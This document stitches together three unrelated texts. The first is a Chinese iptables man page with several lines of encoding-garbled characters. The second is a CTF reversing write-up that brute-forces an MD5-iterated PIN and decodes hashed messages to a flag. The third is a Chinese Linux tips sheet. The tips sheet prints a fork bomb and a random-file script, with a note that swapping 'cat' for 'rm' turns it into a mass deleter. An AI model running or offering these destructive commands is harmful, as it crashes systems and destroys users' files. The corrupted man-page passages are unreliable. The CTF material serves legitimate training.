--分片)这意味着在分片的包中,规则只询问第二及以后的片。自那以后由于无 法判断这种把包的源端口或目标端口(或者是ICMP类型的),这类包将不能匹配任 何指定对他们进行匹配的规则。如果"!"说明用在了"-f"标志之前,表示相反的意思。 TP .B "-c, --set-counters " "PKTS BYTES" This enables the administrater to initialize the packet and byte counters of a rule (during .B INSERT, .B APPEND, .B REPLACE operations) .SS 其他选项 还可以指定下列附加选项: .TP .BR "-v --verbose" 详细输出。这个选项让list命令显示接口地址、规则选项(如果有)和TOS (Type of Service)掩码。包和字节计数器也将被显示,分别用K、M、G (前缀)表示1000、1,000,000和1,000,000,000倍(不过请参看-x标志改变它), 对于添加,插入,删除和替换命令,这会使一个或多个规则的相关详细信息被打印。 .TP .BR "-n --numeric" 数字输出。IP地址和端口会以数字的形式打印。默认情况下,程序试显 示主机名、网络名或者服务(只要可用)。 .TP .BR "-x -exact" 扩展数字。显示包和字节计数器的精确值,代替用K,M,G表示的约数。 这个选项仅能用于 -L 命令。 .TP .BR "--line-numbers" 当列表显示规则时,在每个规则的前面加上行号,与该规则在链中的位置相对应。 .SH 对应的扩展 iptables能够使用一些与模块匹配的扩展包。以下就是含于基本包内的 扩展包,而且他们大多数都可以通过在前面加上!来表示相反的意思。 .SS tcp 当 --protocol tcp 被指定,且其他匹配的扩展未被指定时,这些扩展被装载。它提供以下选项: .TP .BR "--source-port [!] [port[:port]]" 源端口或端口范围指定。这可以是服务名或端口号。使用格式端口:端口也可以 指定包含的(端口)范围。如果首端口号被忽略,默认是"0",如果末端口号被忽 略,默认是"65535",如果第二?龆丝诤糯笥诘谝桓觯?敲此?腔岜唤换弧U飧鲅∠羁梢允褂? --sport的别名。 .TP .BR "--destionation-port [!] [port:[port]]" 目标端口或端口范围指定。这个选项可以使用 --dport别名来代替。 .TP .BR "--tcp-flags [!] mask comp" 匹配指定的TCP标记。第一个参数是我们要检查的标记,一个用逗号分开的列表, 第二个参数是用逗号分开的标记表,是必须被设置的。标记如下:SYN ACK FIN RST URG PSH ALL NONE。因此这条命令:iptables -A FORWARD -p tcp --tcp-flags SYN, ACK, FIN, RST SYN只匹配那些SYN标记被设置而ACK、FIN和RST标记没有设置的包。 .TP .BR "[!] --syn" 只匹配那些设置了SYN位而清除了ACK和FIN位的TCP包。这些包用于TCP连接初始 化时发出请求;例如,大量的这种包进入一个接口发生堵塞时会阻止进入的TCP连接 ,而出去的TCP连接不会受到影响。这等于 --tcp-flags SYN, RST, ACK SYN。如果 "--syn"前面有"!"标记,表示相反的意思。 .TP .BR "--tcp-option [!] number" 匹配设置了TCP选项的。 .SS udp 当protocol udp 被指定,且其他匹配的扩展未被指定时,这些扩展被装载,它提供以下选项: .TP .BR "--source-port [!] [port:[port]]" 源端口或端口范围指定。详见 TCP扩展的--source-port选项说明。 .TP .BR "--destination-port [!] [port:[port]]" 目标端口或端口范围指定。详见 TCP扩展的--destination-port选项说明。 .SS icmp 当protocol icmp被指定,且其他匹配的扩展未被指定时,该扩展被装载。它提供以下选项: .TP .BR "--icmp-type [!] typename" 这个选项允许指定ICMP类型,可以是一个数值型的ICMP?嘈停?蛘呤悄掣鲇擅?? .br iptables -p icmp -h .br 所显示的ICMP类型名。 .SS mac .TP .BR "--mac-source [!] address" 匹配物理地址。必须是XX:XX:XX:XX:XX这样的格式。注意它只对来自以太设备并 进入PREROUTING、FORWORD和INPUT链的包有效。 .SS limit 这个模块匹配标志用一个标记桶过滤器一一定速度进行匹配,它和LOG 目标结合使用来给出有限的登陆数.当达到这个极限值时,使用这个扩展 包的规则将进行匹配.(除非使用了 ”!”标记) .TP .BR "--limit rate" 最大平均匹配速率:可赋的值有'/second', '/minute', '/hour', or '/day'这样的单位,默认是3/hour。 .TP .BR "--limit-burst number" 待匹配包初始个数的最大值:若前面指定的极限还没达到这个数值,则概数字加1.默认值为5 .TP .BR "multiport" 这个模块匹配一组源端口或目标端口,最多可以指定15个端口。只能和-p tcp 或者 -p udp 连着使用。 .TP .BR "--source-port [port[, port]]" 如果源端口是其中一个给定端口则匹配 .TP .BR "--destination-port [port[, port]]" 如果目标端口是其中一个给定端口则匹配 .TP .BR "--port [port[, port]]" 若源端口和目的端口相等并与某个给定端口相等,则匹配。 .SS mark 这个模块和与netfilter过滤器标记字段匹配(就可以在下面设置为使用MARK标记)。 .TP .BR "--mark value [/mask]" 匹配那些无符号标记值的包(如果指定mask,在比较之前会给掩码加上逻辑的标记)。 .SS owner 此模块试为本地生成包匹配包创建者的不同特征。 只能用于OUTPUT链,而且即使这样一些包(如ICMP ping应答)还 可能没有所有者,因此永远不会匹配。 .TP .BR "--uid-owner userid" 如果给出有效的user id,那么匹配它的进程产生的包。 .TP .BR "--gid-owner groupid" 如果给出有效的group id,那么匹配它的进程产生的包。 .TP .BR "--sid-owner seessionid" 根据给出的会话组匹配该进程产生的包。 .SS state 此模块,当与连接跟踪结合使用时,允许访问包的连接跟踪状态。 .TP .BR "--state state" 这里state是一个逗号分割的匹配连接状态列表。可能的状态是:INVALID 表示包是未知连接,ESTABLISHED表示是双向传送的连接,NEW表示包 为新的连接,否则是非双向传送的,而RELATED表示包由新连接开始,但 是和一个已存在的连接在一起,如FTP数据传送,或者一个ICMP错误。 .SS unclean 此模块没有可选项,不过它试着匹配那些奇怪的、不常见的包。处在实验中。 .SS tos 此模块匹配IP包首部的8位tos(服务类型)字段(也就是说,包含在优先位中)。 .TP .BR "--tos tos" 这个参数可以是一个标准名称,(用iptables -m tos -h 察看该列表),或者数值。 .SH TARGET EXTENSIONS iptables可以使用扩展目标模块:以下都包含在标准版中。 .SS LOG 为匹配的包开启内核记录。当在规则中设置了这一选项后,linux内核会通 过printk()打印一些关于全部匹配包的信息(诸如IP包头字段等)。 .TP .BR "--log-level level" 记录级别(数字或参看 syslog.conf(5))。 .TP .BR "--log-prefix prefix" 在纪录信息前加上特定的前缀:最多14个字母长,用来和记录中其他信息区别。 .TP .BR "--log-tcp-sequence" 记录TCP序列号。如果记录能被用户读取那么这将存在安全隐患。 .TP .BR "--log-tcp-options" 记录来自TCP包头部的选项。 .TP .BR "--log-ip-options" 记录来自IP包头部的选项。 .SS MARK 用来设置包的netfilter标记值。只适用于mangle表。 .TP .BR "--set-mark mark" .SS REJECT 作为对匹配的包的响应,返回一个错误的包:其他情况下和DROP相同。 此目标只适用于INPUT、FORWARD和OUTPUT链,和调用这些链的用 户自定义链。这几个选项控制返回的错误包的特性: .TP .BR "--reject-with type" Type可以是icmp-net-unreachable、icmp-host-unreachable、icmp-port-nreachable、icmp-prot o-unreachable、 icmp-net-prohibited 或者 icmp-host-prohibited,该类型会返回相应的ICMP错误信息(默认是port-unreachable)。选项 echo-reply也是允许的;它只能用于指定ICMP ping包的规则中,生成ping的回应。最后,选项tcp-reset可以用于在INPUT链中,或 自INPUT链调用的规则,只匹配TCP协议:将回应一个TCP RST包。 .SS TOS 用来设置IP包的首部八位tos。只能用于mangle表。 .TP .BR "--set-tos tos" 你可以使用一个数值型的TOS 值,或者用iptables -j TOS -h 来查看有效TOS名列表。 .SS MIRROR 这是一个试验示范目标,可用于转换IP首部字段中的源地址和目标地址, 再传送该包,并只适用于INPUT、FORWARD和OUTPUT链,以及只调用它们的用户自定义链 。 .SS SNAT 这个目标只适用于nat表的POSTROUTING链。它规定修改包的源地 址(此连接以后所有的包都会被影响),停止对规则的检查,它包含选项: .TP .BR "--to-source <ipaddr>[-<ipaddr>][:port-port]" 可以指定一个单一的新的IP地址,一个IP地址范围,也可以附加一个端口范围 (只能在指定-p tcp 或者-p udp的规则里)。如果未指定端口范围,源端口中 512以下的(端口)会被安置为其他的512以下的端口;512到1024之间的端口 会被安置为1024以下的,其他端口会被安置为1024或以上。如果可能, 端口不会被修改。 .TP .BR "--to-destiontion <ipaddr>[-<ipaddr>][:port-port]" 可以指定一个单一的新的IP地址,一个IP地址范围,也可以附加一个端口范围(只能在指定-p tcp 或者-p udp的规则里)。如果未指定端口范围,目标端口不会被修改。 .SS MASQUERADE 只用于nat表的POSTROUTING链。只能用于动态获取IP(拨号)连接:如果你拥有静态IP 地址,你要用SNAT。伪装相当于给包发出时所经过接口的IP地址设置一个映像,当接口关 闭连接会终止。这是因为当下一次拨号时未必是相同的接口地址(以后所有建立的连接都将 关闭)。它有一个选项: .TP .BR "--to-ports <port>[-port>]" 指定使用的源端口范围,覆盖默认的SNAT源地址选择(见上面)。这个选项只适用于指定 了-p tcp或者-p udp的规则。 .SS REDIRECT 只适用于nat表的PREROUTING和OUTPUT链,和只调用它们的用户自定义链。它修改包的 目标IP地址来发送包到机器自身(本地生成的包被安置为地址127.0.0.1)。它包含一 个选项: .TP .BR "--to-ports <port>[<port>]" 指定使用的目的端口或端口范围:不指定的话,目标端口不会被修改。只能用于指定了-p tcp 或 -p udp的规则。 .SH 诊断 不同的错误信息会打印成标准错误:退出代码0表示正确。类似于不对的或者滥用的命令 行参数错误会返回错误代码2,其他错误返回代码为1。 .SH 臭虫 检查还未完成。 .SH COMPATIBILITY WITH IPCHAINS 与ipchains的兼容性 This iptables is very similar to ipchains by Rusty Russell. The main difference is that the chains INPUT and OUTPUT are only traversed for packets coming into the local host and originating from the local host respectively. Hence every pack only passes through one of the three chains; previously a forwarded packet would pass through all three. The other main difference is that -I refers to input interface; -o refers to the output interface, and both are available for packets entering the FORWARD chain. iptables is a pure packet filter when using the default filter' table, with optional extension modules. This should simplify much of the previous confusion over the combination of IP masquerading and packet filtering seen previously. So the following options are handled differently: -j MASQ -M -S -M -L There are several other chaines in iptables iptables和Rusty Russell的ipchains非常相似。主要区别是INPUT 链只用于进入本 地主机的包,而OUTPUT只用于自本地主机生成的包。因此每个包只经过三个链的 一个;以前转发的包会经过所有三个链。其他主要区别是 -i 引用进入接口;-o引 用输出接口,两者都适用于进入FORWARD链的包。当和可选扩展模块一起使用 默认过滤器表时,iptables是一个纯粹的包过滤器。这能大大减少以前对IP伪装和 包过滤结合使用的混淆,所以以下选项作了不同的处理: -j MASQ -M -S -M -L 在iptables中有几个不同的链。 .SH 参见 iptables-HOWTO有详细的iptables用法,对netfilter-hacking-HOWTO也有详细的本质说明。 .SH 作者 Rusty Russell wrote iptables, in early consultation with Michael Neuling. Marc Boucher made Rusty abandon ipnatctl by lobbying for a generic packet selection framework in iptables, then wrote the mangle table, the owner match, the mark stuff, and ranaround doing cool stuff everywhere. James Morris wrote the TOS target, and tos match. Jozsef Kadlecsik wrote the REJECT target. The Netfilter Core Team is: Marc Boucher, Rusty Russell. .TP Mar 20, 2000 .br .SH "[中文版维护人]" .B 杨鹏·NetSnake <netsnake@963.net> .\" 湖北省恩施市东风大道22号《恩施日报》社 .\" 445000 .\" 0718-8260030 .SH "[中文版最新更新]" .BR 2003.11.20 .SH "《中国linux论坛man手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
# ForceCoin Category: Reversing, 150 points ## Description > Our agent from the field has obtained a few files related to a program that is used by a terrorist organization! > > This zip contains the program and a db file. > > We need your help parsing the db! > > Give it your best, we heard that they use it and that it might contain some intresting information for you! > > Good Luck !! ## Solution: Let's see what we got: ```console root@kali:/media/sf_CTFs/shabak/ForceCoin/ForceCoin# ls db.txt.enc ForceCoin.exe ForceCoinTransactionSigner.dll.enc root@kali:/media/sf_CTFs/shabak/ForceCoin/ForceCoin# file ForceCoin.exe ForceCoin.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows ``` We have a `.NET` application and two encrypted files. Let's run the application: ![](images/forcecoin1.png) So, before anything else, we just tried to brute force it with a simple `*.vbs` script that interacts with the GUI: ```vbs Set objShell = WScript.CreateObject("WScript.Shell") Function SendKeysTo (keys, wait) objShell.AppActivate "PinCode" objShell.SendKeys keys WScript.Sleep wait End Function Function LPad(s, l, c) Dim n : n = 0 If l > Len(s) Then n = l - Len(s) LPad = String(n, c) & s End Function WScript.Sleep 500 Dim x x=0 Do SendKeysTo LPad(x, 4, "0"), 50 SendKeysTo "{Tab}{Enter}{Tab}", 50 x=x+1 Loop While x<10000 ``` This script tries to enter all possible 4-digit combinations to the GUI. Unfortunately, That didn't work and we were forced to open the application with dotPeek: ```csharp private void buttonCheckPin_Click(object sender, EventArgs e) { string text = this.richTextBoxPinCode.Text; if (text.Length != 4) { this.richTextBoxPinCode.Text = ""; } else { try { string input = text; string str = text; for (int index = 0; index < 10; ++index) { input = this.DoMD5(input); str = this.DoMD5(str); } for (int index = 0; index < 10; ++index) input = this.DoMD5(input); if ("2D3114BCC2E5C58BBAC77F04237723D9" == input) { byte[] byteArray = PinForm.StringToByteArray(str); this.DecryptFile(byteArray, "ForceCoinTransactionSigner.dll.enc", "ForceCoinTransactionSigner.dll"); this.DecryptFile(byteArray, "db.txt.enc", "db.txt"); AppForm appForm = new AppForm(); this.Hide(); int num = (int) appForm.ShowDialog(); this.Close(); } } catch (Exception ex) { } this.richTextBoxPinCode.Text = ""; } } ``` So we have the authentication logic, we just need to find the correct input. ```python import hashlib import itertools import string KEY_LEN = 4 def DoMD5(s): # C# hash returns an uppercase digest return hashlib.md5(s.encode('ascii')).hexdigest().upper() def CheckPinLogic(text): _input = text _str = text for i in range(10): _input = DoMD5(_input) _str = DoMD5(_str) for i in range(10): _input = DoMD5(_input) if _input == "2D3114BCC2E5C58BBAC77F04237723D9": return True return False for x in list(itertools.permutations(string.ascii_letters + string.digits, KEY_LEN)): text = "".join(x) if CheckPinLogic(text): print(f"Found key: {text}") break ``` Since we've already tried just digits, we'll try also letters this time. After a while, we get the key: ```console root@kali:/media/sf_CTFs/shabak/ForceCoin/ForceCoin# python3 solve.py Found key: 5cRt ``` Now we can finally access the application: ![](images/forcecoin2.png) This looks like some blockchain application. If we click the "List Blocks" button, the database file is popped up: ``` 3 4 Bob -> Alice [f623e75af30e62bbd73d6df5b50bb7b5, 0567953871b1bf589b797d9b178d5a94, 4eef13c0cb7c79813c798278770edc18, b8aa853d4a02f1024e92ec3626deb27f, 00e04f724e7a688bba85591f41cabc66, d29ff39e8237020708859fd83de7358b, 3e2396c3ffc5ceaf2cce64d121cd46cc, e93c0298d07705f4ea95116361fba84d, 5dd1e136eed6c8d7b3c05aedf806827e, 0c18777da528d26b0ba37d240f5bd850, 9401c1b5e67a9a0165473e929451b146, 4c305f18aa3ae7d854dab77edc862be2, 5d4cd43fef5d09c9a897a2d197c0e430, 4d8561461499e594d7bc0f6f3239cc98, 7ed760dcf05e798ddf2aea47518c8c26, 835f17ba47e4f10ec822331db625a441, 8e6e0d7f59dcbad7032301475d2c3cb5, 259d482498d9f2dae6d96dc3b343a908, e4aa532750a50837317716711b2dabdc, f07799cfe461de05a6327c5195f33a1d, 9b3d21619f85c27c7cb154ed6de16de2, e3e58f791778f6f20d745c5e6f0ae62f, 7ebb03bd0b04cc46dcdc8c4f48207dab, 92cc27585fefc1c21342415bb6b6bc5f, 6bacb7e544d2545fef9462c340ca4dd2, eaffb62f530c3266d1106d880ad620ee, 9d8859729b3cbd5e8b69a9942693c659, 24d27068f5de2bbad9b5acf38c97be2b, 347c3c0d886a55671c5a826fbfacb1a0, 85ffb85440a4ce7880a278ef0393b449, 228f416e2b0618bc895df5aa15b056a6, ad692bc711e46264c4b7da4956fa5ce3, 01489e6fc5c3489df27077365c807beb, 8b29bb17d2c92b480bc1bc2ea611037a, 1d39e3b97181079f5c2d37de0fd21d50] Alice -> Bob [8d9c307cb7f3c4a32822a51922d1ceaa, bafd7322c6e97d25b6299b5d6fe8920b, b7e7f2b46723f5b08d763041108f8fed, e6662662a3f90aa497566c9b4a32f2f7] Alice -> Bob [5dbc98dcc983a70728bd082d1a47546e, e2e0ab9c9510bf61fd17296bae8d3d24, 2341fcf59582cb2b44168f1b477bc850, 2d80c7c603f99c429891d40e30bf391d, 140208bb60fc3f70eabd068701030425] Bob -> Alice [f186217753c37b9b9f958d906208506e, 8021f7e4b05dada0ad3d47567e52249e, d4f59cb9d92b06b80311ccf98a6c36e9, 20809e9ce9cfa9bcec5c7c157596be8e, b11794fedf37354635f9dcdfdd1ea986, 4bbbcb9c0429b23818385e2aaa78eba3, 91f43049eb069a16c64e8cb7b97d5350] 2 4 Eve -> Bob [f623e75af30e62bbd73d6df5b50bb7b5, 5961102bbf53b3ac0b9085f1ef3ce3f0, 74cac558072300385f7ab4dff7465e3c, ca1e34732138935e670be9745b9d6fda, 4d3b1fce14acd65b0bbc74ef99e442fc, 0eb7038095a03708d790c09416df98ed, 4c371a5ae215c756291050ad11f47295, 0289b549b48fba0dc7a62ecbfe4544bd, fad0ccdcb1ff0100bfdf5d60474d7bda, 0ca7f7803edf5efeef52c53be22a14b1, 67dcc1e581850ff946787245f94f429f, cfed45ab4163c9b28349461c0d379b21, b697fbcd1b3c01c7ba1bc141534f9742, 3eaf9d8ecc065405f2e9d1ea8cd2c85b, 0d62fd503ad84dc41a041f855a62d8bc, 44dc5b7f1eeae0c35dfee82aa3ed7211, 2dbc58343aece65fef79e0343033441a, 563892c5f5f287dd84b6e28841eabfef, 410cf34861427d616231ae1298e104fb, 2f1d21c0bb974843c48d82d1401fa78b, 4f017001710bcb5a2e75c12495dcd23c, 533c2a8cd88d556a5fd74af1429c3c64, fce20f9bd0ed98ce33aeeeee7cfa6ca9, fafe639205423835e5bdbfd9e7589c23] Bob -> Eve [57cec4137b614c87cb4e24a3d003a3e0, 6f59522e39813f59db318cb3213c88a7, 93cba07454f06a4a960172bbd6e2a435] Eve -> Bob [61e9c06ea9a85a5088a499df6458d276, 0cde1252d73b5bb4352e9287f281cca4, 5e29f4090282c1fcb15c056c422d3035, 124433700b3275084ede92789a9d83ef, b7d5a8283e1312b3c3f1abcc47e7c4a3, f1cdde159b709bae13ea3506b73adac7, e5ada0607010b08093ae3f0b2a87e424, f5ebd646252156067390952ea07cc3f2, 04c1c088dcc8f6d146a9ff9244f37690, fda5d38bbd076c9218cf22cfb972b1d6, 6d07b621f405abec582cca17872ff8bb] Bob -> Eve [7fc56270e7a70fa81a5935b72eacbe29, 6743b9fcc57cf1b169fb4ef6c7a955d2, 7f8d39b96c384652402cb590295fcab3, f315b27a5484354d4d4d9ee1b1d15429, 1ee7151cd8e78f514896756884cd531a, d7ffbd3860fcf978d460f4be932c4074, b56597c2945f1a7108f4e04561290380, 096dbcd0fd48c0c79aec9a484caea349] 1 4 Bob -> Alice [69691c7bdcc3ce6d5d8a1361f22d04ac, 318b2739ddc2c16c97b33c9b04b79f3e, 7a065d8d264a13ab77ef872a209009f2, 687b3ed5777076a28b2406f12cff289c, e592dc10241656abaa7831a661d5dafa, d517d2874919c0197866ce46e4e6511d, 4c2a8fe7eaf24721cc7a9f0175115bd4, 866f4bc698cd86191b52d3771a0a87dc] Alice -> Bob [57cec4137b614c87cb4e24a3d003a3e0, 6f59522e39813f59db318cb3213c88a7, 93cba07454f06a4a960172bbd6e2a435] Alice -> Bob [8fa14cdd754f91cc6554c9e71929cce7, 3d296788f2a7e19ffbd912521d94a5f4, 61894b21be75260c4964065b1eecec4d, 327a6c4304ad5938eaf0efb6cc3e53dc, 4ff89342bb46cea91a288c3bed86e1b2, f368b01cf4b9d94958b8d860e36298a3, 20f75852e11a4ef192ccc33efc1dd41a, e7f7897cd91d0ce36851020e718e3e19, 849d8f0974d2a081d83330f7183604df, 884cb3cd32cb2a6d5c645432a344fbbb, bce419f01d3e788dc8b21e8a2c7abfdc, 7ed269b23f5aa08ff9027a1b798a79ac, 9ff7c4366ad5bbe5b51bf6417cd1424a, 88ff232e07a2755f6a92af51b9bf9737, b88aff7d11354c59bec8cc7e45040169, 4bf148341e925de63f7069e321fd4cba, 1db8fd170c9d4580a125e1bfb98ea99e, c3c54e9d72f38482699cccc85ccabf37, 7d4e4ef06142ba28771d8d8d203a4570] Alice -> Bob [dfcf28d0734569a6a693bc8194de62bf, 5f075ae3e1f9d0382bb8c4632991f96f, 954fd996438b8fd035a5c7ffb6f6066b, 0c6ad70beb3a7e76c3fc7adab7c46acc, c1e93ed8df2451fe4155c4bb5ed30aa8, b1ac1c1cbfca488d18c79c0464a84e88, bda3af384bdd11a941a15f3e28c9838b, 35cff10ecc03787f67b95b9bdefa2e01, 46d407bbe461718208fd03cd44bd45a6, 9754a6e0240cbf2ca2fb8119816b7094] 0 4 Bob -> Eve [c1d9f50f86825a1a2302ec2449c17196, c1a5298f939e87e8f962a5edfc206918] Eve -> Bob [c1d9f50f86825a1a2302ec2449c17196, a64cf5823262686e1a28b2245be34ce0, 6b6e667a40e816c4da7bb4ab64cbb82b, 1824e8e0307cbfdd1993511ab040075c, 8b1a9953c4611296a827abf8c47804d7] Bob -> Eve [69691c7bdcc3ce6d5d8a1361f22d04ac, 318b2739ddc2c16c97b33c9b04b79f3e, 7a065d8d264a13ab77ef872a209009f2, 687b3ed5777076a28b2406f12cff289c, e592dc10241656abaa7831a661d5dafa, d517d2874919c0197866ce46e4e6511d, 4c2a8fe7eaf24721cc7a9f0175115bd4, 866f4bc698cd86191b52d3771a0a87dc] Eve -> Bob [b9ece18c950afbfa6b0fdbfa4ff731d3, 86a1ea3adf8fbb53eb7a9b6b6b01c020, 74d25dae65d9e1bfe851af474fba7b1f, d7663fa42334fe2bdff69b245bf44c7e, 58639358a3ceb8ad0d3d84a31c856bd0, 7dd279a773d616a6dfdcdf33ce90edf8, 6b2c32b10431a155611baecbfbc4121a, c17459f971d7fac99825f2b1a3aa68bc, b6b88c87bbe8b6367b333319fa04688a, f03b844fcfaed924f6303ba7bff8b361, 891a763ee8015542bc82c988a39a2426, ba2222570942da147f52d45f6d995836, 3de9348c1ce58fe8eb57f231fc3f639c] ``` We can see several transactions here. What's interesting here is that some hashes can be found when we Google them. For example, the first hash is `f623e75af30e62bbd73d6df5b50bb7b5`, and Google tells us that it maps to `'D'`: ```console root@kali:/media/sf_CTFs/shabak/ForceCoin# echo -n "D" | md5sum f623e75af30e62bbd73d6df5b50bb7b5 - ``` Now the second hash is `0567953871b1bf589b797d9b178d5a94`, and Google tells us that it maps to `'Do'`: ```console root@kali:/media/sf_CTFs/shabak/ForceCoin# echo -n "Do" | md5sum 0567953871b1bf589b797d9b178d5a94 - ``` Hashes are irreversible, but if each hash is the concatenation of a known prefix with a single character, we can easily brute force this: ```python import hashlib import string import re def reverse_hash(prefix, expected_hash): for c in string.printable: if hashlib.md5(f"{prefix}{c}".encode("ascii")).hexdigest() == expected_hash: return c MESSAGE_REGEX = re.compile(r"^(\w+) -> (\w+) \[([^\]]+)\]\s*$") with open("db.txt") as db: for line in db: if match := MESSAGE_REGEX.match(line): message = "" for hash in match.group(3).split(", "): message += reverse_hash(message, hash) print(f"{match.group(1)} -> {match.group(2)}: {message}") ``` Output: ```console root@kali:/media/sf_CTFs/shabak/ForceCoin# python3 decode_db.py Bob -> Alice: Do you have another message for me? Alice -> Bob: Nope Alice -> Bob: Sorry Bob -> Alice: Oh Well Eve -> Bob: Did you get the message? Bob -> Eve: Yes Eve -> Bob: What is it? Bob -> Eve: A Secret Bob -> Alice: Message? Alice -> Bob: Yes Alice -> Bob: flag{L3m0n-SqueeZy} Alice -> Bob: Good Luck! Bob -> Eve: Hi Eve -> Bob: Hello Bob -> Eve: Message? Eve -> Bob: Talk To Alice ```
sec-knowleage
# God-Linux <p align="center"> <a href="https://en.wikipedia.org/wiki/The_Portrait_(Magritte)"><img src="../../../assets/img/banner/God-Linux.jpg" width="90%"></a> </p> <p align="center"> <a href="https://github.com/ellerbrock/open-source-badges/"><img src="../../../assets/img/Integrated/Linux/open-source.png" width="15%"></a> <a href="https://github.com/ellerbrock/open-source-badges/"><img src="../../../assets/img/Integrated/Linux/bash.png" width="15%"></a> </p> --- ## bash ``` bash # 判断当前是否是登陆式或非登陆式 shell echo $0 # 上一个命令的最后一个参数.例如:上一条命令(vim test.txt),cat !$ = cat test.txt !$ # 以 root 身份运行最后一个命令 sudo !! # 一个命令创建项目的目录结构 mkdir -vp scf/{lib/,bin/,doc/{info,product},logs/{info,product},service/deploy/{info,product}} # 筛选出命令中错误的输出,方便找到问题 yum list 1 > /dev/null # 优雅的使用 linux alias please="sudo" # 没用但有趣的东西. P=(' ' █ ░ ▒ ▓) while :;do printf "\e[$[RANDOM%LINES+1];$[RANDOM%COLUMNS+1]f${P[$RANDOM%5]}";done # 让 freebad 机器叫出声 echo “T250L8CE-GE-C” > /dev/speaker echo “O1L15aO2L15bO3L15cO4L15d” > /dev/speaker # 在不使用 chmod 的情况下运行脚本 . ./test.sh {.,./test.sh} bash < test.sh cat test.sh|sh curl -s file://`pwd`/test.sh | sh # 直接覆盖预原文件 sudo tee xxx.txt <<-'EOF' aaa bbb test EOF # hex 转 ASCII echo -e "\x68\x65\x6c\x6c\x6f" ``` ### cd **切换到上一个目录** ``` cd - ``` **创建时进入文件夹** ``` mkdir /tmp/test && cd $_ ``` **使用 CDPATH 定义 cd 命令的基本目录** ```bash cd mail -bash: cd: mail: No such file or directory export CDPATH=/etc cd mail /etc/mail ``` **有效率的向上移动** ```bash # cd ../../../../ alias ..4="cd ../../../.." alias .....="cd ../../../.." alias cd.....="cd ../../../.." alias cd4="cd ../../../.." ..4 ..... cd..... cd4 ``` **使用 dirs, pushd 和 popd 操作目录堆栈** ```bash # 如何使用 pushd 和 popd? 让我们首先创建一些临时目录,并将它们推入目录堆栈,如下所示。 mkdir /tmp/dir1 mkdir /tmp/dir2 mkdir /tmp/dir3 mkdir /tmp/dir4 cd /tmp/dir1 pushd . cd /tmp/dir2 pushd . cd /tmp/dir3 pushd . cd /tmp/dir4 pushd . dirs # 在这个阶段,目录堆栈包含以下目录 # /tmp/dir4 # /tmp/dir3 # /tmp/dir2 # /tmp/dir1 # 最后一个被推送到堆栈中的目录将在顶部。当执行 popd 时,它会 cd 到堆栈中最上面的目录项,并将其从堆栈中删除。最后推送到栈中的目录是 /tmp/dir4,所以,当我们执行 popd 时,会 cd 到 /tmp/dir4,并从目录栈中删除,如下所示。 popd pwd # 在这个阶段,目录堆栈包含以下目录 # /tmp/dir3 # /tmp/dir2 # /tmp/dir1 popd pwd # 在这个阶段,目录堆栈包含以下目录 # /tmp/dir2 # /tmp/dir1 popd pwd # 在这个阶段,目录堆栈包含以下目录 # /tmp/dir1 popd pwd # 在 popd 后,目录 Stack 为空! popd -bash: popd: directory stack empty ``` **使 cd 不区分大小写** ```bash bind "set completion-ignore-case on" ``` --- ## net ```bash # 在当前目录起个 8000 端口的 HTTP 服务 python -m SimpleHTTPServer 8000 # 查看自己的外网地址 curl ifconfig.me ``` **无依赖下载(仅支持http)** - [linux在没有curl和wget的情况下如何用shell实现下载功能](https://zgao.top/linux%e5%9c%a8%e6%b2%a1%e6%9c%89curl%e5%92%8cwget%e7%9a%84%e6%83%85%e5%86%b5%e4%b8%8b%e5%a6%82%e4%bd%95%e7%94%a8shell%e5%ae%9e%e7%8e%b0%e4%b8%8b%e8%bd%bd%e5%8a%9f%e8%83%bd/) ```bash #!/bin/bash # 无依赖的http下载 # https://zgao.top/linux%e5%9c%a8%e6%b2%a1%e6%9c%89curl%e5%92%8cwget%e7%9a%84%e6%83%85%e5%86%b5%e4%b8%8b%e5%a6%82%e4%bd%95%e7%94%a8shell%e5%ae%9e%e7%8e%b0%e4%b8%8b%e8%bd%bd%e5%8a%9f%e8%83%bd/ # https://github.com/c4pr1c3/cuc-ns/blob/master/chap0x07/exp/webgoat/wget.sh function DOWNLOAD() { local URL=$1 if [ -z "${URL}" ]; then printf "Usage: %s \"URL\" [e.g.: %s http://www.xxx.com/test.json]" \ "${FUNCNAME[0]}" "${FUNCNAME[0]}" return 1; fi read proto server path <<< "${URL//"/"/ }" DOC=/${path// //} HOST=${server//:*} PORT=${server//*:} [[ x"${HOST}" == x"${PORT}" ]] && PORT=80 exec 3<>/dev/tcp/${HOST}/$PORT echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3 while IFS= read -r line ; do [[ "$line" == $'\r' ]] && break done <&3 nul='\0' while IFS= read -d '' -r x || { nul=""; [ -n "$x" ]; }; do printf "%s$nul" "$x" done <&3 exec 3>&- } DOWNLOAD "$1" ``` --- ## shell **fork 炸弹** ```bash :(){:|:&};: ``` **[Thanos](https://github.com/hotvulcan/Thanos.sh)** This command could delete half your files randomly ```bash #!/bin/sh let i=`find . -type f | wc -l`/2 ; find . -type f -print0 | shuf -z -n $i | xargs -0 -- cat # Explaination ## Step 1: Get the count of files in current path divided by two. ## Step 2: Get all the files in current path and print in one line. ## Step 3: Turn half of the second step output into standard input randomly. ## Step 4: Show half of the files in terminal. # Key Point ## If you want to make delete, what you need to do is turn 'cat' into 'rm'. ``` --- ## VIM ``` bash 无 root 权限,保存编辑的文件 :w !sudo tee % ``` --- ## 性能 ```bash sync # sync 命令做同步,以确保文件系统的完整性,将所有未写的系统缓冲区写到磁盘中,包含已修改的 i-node、已延的块 I/O 和读写映射文件.否则在释放缓存的过程中,可能会丢失未保存的文件. echo 1 > /proc/sys/vm/drop_caches # 清理 pagecache(页面缓存) echo 2 > /proc/sys/vm/drop_caches # 清理 dentries(目录缓存)和inodes echo 3 > /proc/sys/vm/drop_caches # 清理 pagecache、dentries 和 inodes sync # 取消开启文件数限制 ulimit -n 65535 # 优化内存 echo 128 > /proc/sys/vm/nr_hugepages # 默认为0 sysctl -w vm.nr_hugepages=128 ``` --- ## 文本 **计算文本文件中的单词出现次数** ```bash grep -o -i test example.txt | wc -l # 计算"test"出现在文件中的次数 ```
sec-knowleage
